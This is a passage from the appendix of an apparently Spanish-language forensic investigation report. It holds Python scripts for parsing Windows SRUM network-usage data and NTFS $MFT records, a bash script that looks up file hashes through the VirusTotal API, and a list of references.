    path = glob.glob(os.path.join(d, pattern))[0]
    with open(path, newline="", encoding="utf-8", errors="replace") as fh:
        return list(csv.DictReader(fh, delimiter="\t"))

idmap = {}
for r in rows("SruDbIdMapTable.*"):
    try:
        idmap[r["IdIndex"]] = bytes.fromhex(r["IdBlob"]).decode("utf-16le").rstrip("\x00")
```

```
    except Exception:
        idmap[r["IdIndex"]] = r["IdBlob"]

# {973F5D5C-...} = Network Data Usage
for r in rows("{973F5D5C-1D90-4944-BE8E-24B94231A174}.*"):
    app = idmap.get(r["AppId"], r["AppId"])
    print(f"{r['TimeStamp']}\tsent={r['BytesSent']}\trecv={r['BytesRecvd']}\t{app}")
```

## A.13. `mft_record.py`

**Librería:** (Python puro)

1. Busca el nombre en UTF-16 dentro de la `$MFT` y calcula a qué registro de 1.024 bytes pertenece.
2. Aplica el *fixup* de NTFS (restaura los últimos 2 bytes de cada sector).
3. Recorre los atributos: `$STANDARD_INFORMATION` (fechas), `$FILE_NAME` (nombre y carpeta padre) y `$DATA` (tamaño).
4. Reconstruye la ruta completa siguiendo las referencias a la carpeta padre.

**mft_record.py**

```
#!/usr/bin/env python3
"""Parsea registros FILE de la $MFT que contengan un nombre dado.

Uso: python3 mft_record.py '$MFT' nombre [--dump-resident salida_dir]
Muestra: nº de registro, flags (en uso/borrado), $STANDARD_INFORMATION y $FILE_NAME
(fechas, padre, nombre), $DATA (residente o no, tamaño real, runlist).
"""
import datetime
import os
import struct
import sys

mft_path, name = sys.argv[1], sys.argv[2]
dump_dir = sys.argv[sys.argv.index("--dump-resident") + 1] if "--dump-resident" in sys.argv else None
data = open(mft_path, "rb").read()
REC = 1024
needle = name.lower().encode("utf-16le")

def ft(v):
    if not v:
        return "-"
    return (datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=v // 10)).isoformat(sep=" ")

def fixup(rec):
    rec = bytearray(rec)
    usa_off, usa_cnt = struct.unpack_from("<HH", rec, 4)
    usn = rec[usa_off:usa_off + 2]
    for i in range(1, usa_cnt):
        pos = i * 512 - 2
        if rec[pos:pos + 2] == usn:
            rec[pos:pos + 2] = rec[usa_off + 2 * i:usa_off + 2 * i + 2]
    return bytes(rec)

def parent_path(ref, depth=0):
    """Reconstruye la ruta siguiendo las referencias al padre."""
    if depth > 30 or ref == 5:
        return ""
    off = ref * REC
    if off + REC > len(data) or data[off:off + 4] != b"FILE":
        return f"<{ref}>"
    rec = fixup(data[off:off + REC])
    a = struct.unpack_from("<H", rec, 20)[0]
    best = None
    while a < REC - 8:
        t, ln = struct.unpack_from("<II", rec, a)
        if t == 0xFFFFFFFF or ln == 0:
```

```
            break
        if t == 0x30:
            c = a + struct.unpack_from("<H", rec, a + 20)[0]
            par = struct.unpack_from("<Q", rec, c)[0] & 0xFFFFFFFFFFFF
            nl, ns = rec[c + 64], rec[c + 65]
            nm = rec[c + 66:c + 66 + nl * 2].decode("utf-16le", "replace")
            if best is None or ns != 2:
                best = (par, nm)
        a += ln
    if not best:
        return f"<{ref}>"
    return parent_path(best[0], depth + 1) + "\\" + best[1]

seen = set()
pos = 0
low = data.lower() if False else data
while True:
    i = data.find(needle, pos)
    if i < 0:
        i = data.find(name.upper().encode("utf-16le"), pos)
        if i < 0:
            break
    pos = i + 1
    recno = i // REC
    if recno in seen:
        continue
    seen.add(recno)
    raw = data[recno * REC:(recno + 1) * REC]
    if raw[:4] != b"FILE":
        print(f"[offset {i:#x}] coincidencia fuera de un registro FILE (slack/índice)")
        continue
    rec = fixup(raw)
    flags = struct.unpack_from("<H", rec, 22)[0]
    state = ("EN USO" if flags & 1 else "BORRADO") + (" DIR" if flags & 2 else "")
    print(f"\n=== Registro MFT #{recno}  ({state})")
    a = struct.unpack_from("<H", rec, 20)[0]
    while a < REC - 8:
        t, ln = struct.unpack_from("<II", rec, a)
        if t == 0xFFFFFFFF or ln == 0:
            break
        nonres = rec[a + 8]
        if t == 0x10:
            c = a + struct.unpack_from("<H", rec, a + 20)[0]
            cr, mo, mc, ac = struct.unpack_from("<QQQQ", rec, c)
            print(f"  $SI  creado={ft(cr)} modificado={ft(mo)} mft_mod={ft(mc)} acceso={ft(ac)}")
        elif t == 0x30:
            c = a + struct.unpack_from("<H", rec, a + 20)[0]
            par = struct.unpack_from("<Q", rec, c)[0] & 0xFFFFFFFFFFFF
            cr, mo, mc, ac, alloc, real = struct.unpack_from("<QQQQQQ", rec, c + 8)
            nl = rec[c + 64]
            nm = rec[c + 66:c + 66 + nl * 2].decode("utf-16le", "replace")
            print(f"  $FN  nombre={nm}  ruta={parent_path(par)}\\{nm}")
            print(f"       creado={ft(cr)} modificado={ft(mo)}")
        elif t == 0x80:
            nlen = rec[a + 9]
            if nonres:
                real = struct.unpack_from("<Q", rec, a + 48)[0]
                print(f"  $DATA no residente, tamaño real={real} bytes (contenido en disco, no en la $MFT
    ↪ )")
            else:
                clen, coff = struct.unpack_from("<IH", rec, a + 16)
                print(f"  $DATA RESIDENTE, {clen} bytes dentro del registro")
                if dump_dir:
                    os.makedirs(dump_dir, exist_ok=True)
                    out = os.path.join(dump_dir, f"mft_{recno}.bin")
                    open(out, "wb").write(rec[a + coff:a + coff + clen])
                    print(f"       volcado en {out}")
        a += ln
```

### A.14. `vt_lookup.sh`

**Librería:** curl, jq

1. Para cada hash hace `GET https://www.virustotal.com/api/v3/files/<hash>` con la cabecera `x-apikey`.
2. Con `jq` extrae `md5`, `meaningful_name`, la familia sugerida y el número de motores que lo detectan.
3. Espera 16 s entre consultas (límite gratuito de 4 por minuto).

**vt_lookup.sh**

```
#!/usr/bin/env bash
# Consulta hashes (MD5/SHA1/SHA256) en la API v3 de VirusTotal y muestra MD5, nombre,
# familia sugerida y número de detecciones.
# Requiere: curl, jq y una clave de API gratuita de VirusTotal en la variable VT_KEY.
# Uso: VT_KEY="tu_clave" bash vt_lookup.sh HASH [HASH ...]
# La API gratuita admite 4 consultas por minuto: se espera 16 s entre consultas.
set -u
: "${VT_KEY:?Define VT_KEY con tu clave de API de VirusTotal}"
n=0
for h in "$@"; do
  [ "$n" -gt 0 ] && sleep 16
  n=$((n + 1))
  echo "== $h"
  curl -s -H "x-apikey: $VT_KEY" "https://www.virustotal.com/api/v3/files/$h" | jq -r '
    .data.attributes
    | "MD5: \(.md5)\nNombre: \(.meaningful_name)\nFamilia: \(.popular_threat_classification.
    suggested_threat_label)\nDetecciones: \(.last_analysis_stats.malicious)"'
done
```

# B. Referencias

- MITRE ATT&CK: https://attack.mitre.org/
- CVE-2017-0199 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2017-0199
- oletools / rtfobj: https://www.decalage.info/python/oletools
- Unicorn Engine: https://www.unicorn-engine.org/
- Capstone: https://www.capstone-engine.org/
- SDelete (Sysinternals): https://learn.microsoft.com/sysinternals/downloads/sdelete
- VirusTotal API v3: https://docs.virustotal.com/reference/file-info
- Historia de Go: https://go.dev/doc/faq
- Wine (lista de funciones de kernel32): https://www.winehq.org/